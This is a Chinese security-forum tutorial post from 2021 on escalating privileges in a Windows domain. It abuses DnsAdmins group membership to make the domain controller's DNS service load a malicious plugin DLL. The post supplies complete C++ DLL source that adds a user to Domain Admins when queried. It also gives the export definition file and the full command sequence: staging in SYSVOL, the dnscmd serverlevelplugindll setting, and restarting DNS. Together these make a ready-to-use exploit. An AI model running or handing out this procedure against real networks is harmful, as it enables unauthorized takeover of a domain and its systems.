奇安信攻防社区-域内一个特权提升技巧

域内一个特权提升技巧

0x01.背景
-------

实验利用Dns Administrators 组成员，通过远程配置Dns服务，进行`Dll inject`从而实现特权提升。  
 在域内，Dns server 通常为Dc Server,Dns服务器管理基于rpc，通过调用`c:\windows\system32\dns.exe`,创建Rpc接口，使用`\PIPE\DNSSERVER`命名管道进行传输。

DNS服务默认ACL 如下图：

![1](https://shs3.b.qianxin.com/butian_public/f039f6906c101c8d66dc13b7f6c5903bf.jpg)

DNS.exe 默认启动权限为`NT AUTHORITY\SYSTEM`：

![2](https://shs3.b.qianxin.com/butian_public/fb37217858d6c76d8b3c674f8a9aaa634.jpg)

0x02、过程
-------

### 0x0201 dll文件编译：

dll源码：

```c++
// dllmain.cpp : 定义 DLL 应用程序的入口点。

\#include "pch.h"

DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)
{
    return 0;
}

DWORD WINAPI DnsPluginCleanup()
{
    return 0;
}

DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)
{
    WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

导出函数，Source.def文件：

```def
EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery
```

编译后查看导出函数是否正确：

![3](https://shs3.b.qianxin.com/butian_public/f95129fe468f0e5da658e725c5533528a.jpg)

### 0x0202 特权提升：

首先找到Dnsadmins

```cmd
net user sixth-hospital /domain
```

![4](https://shs3.b.qianxin.com/butian_public/fc05f30535d4486243b3e1596fa3ff303.jpg)

将dll 复制到sysvol

```cmd
copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts
```

使用当前用户列举AD c盘

```cmd
dir \\WIN-43QM2N9GRC4.hackhello.local\c$
```

![5](https://shs3.b.qianxin.com/butian_public/f18b021c9f293ebc98e67369fd38d8759.jpg)

执行dnscmd 配置调用dll

```cmd
dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
```

![6](https://shs3.b.qianxin.com/butian_public/f1dee492327d2e3bc9200770b1e12e656.jpg)

此时查看dc注册表，已经配置好了dll路径。

```cmd
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
```

![7](https://shs3.b.qianxin.com/butian_public/f499786fc8f15c8bda3588888bbf3cd80.jpg)

重启dns

```cmd
sc stop dns

sc start dns
```

![12](https://shs3.b.qianxin.com/butian_public/f59b56aa9d923f96373be1664660a862f.jpg)

重启完服务后再执行net命令

```cmd
net user sixth-hospital /domain
```

![9](https://shs3.b.qianxin.com/butian_public/fae151ebd419903dad5c45eb08727b32a.jpg)

可以看到已经成功将Dnsadmins用户提升至域管理员权限

我们列下c盘符下文件

![10](https://shs3.b.qianxin.com/butian_public/f3793b759a5c24c49ba69f711d03eb372.jpg)

发表于 2021-04-07 20:33:40
阅读 ( 6270 )
分类：内网渗透

域内一个特权提升技巧

0 条评论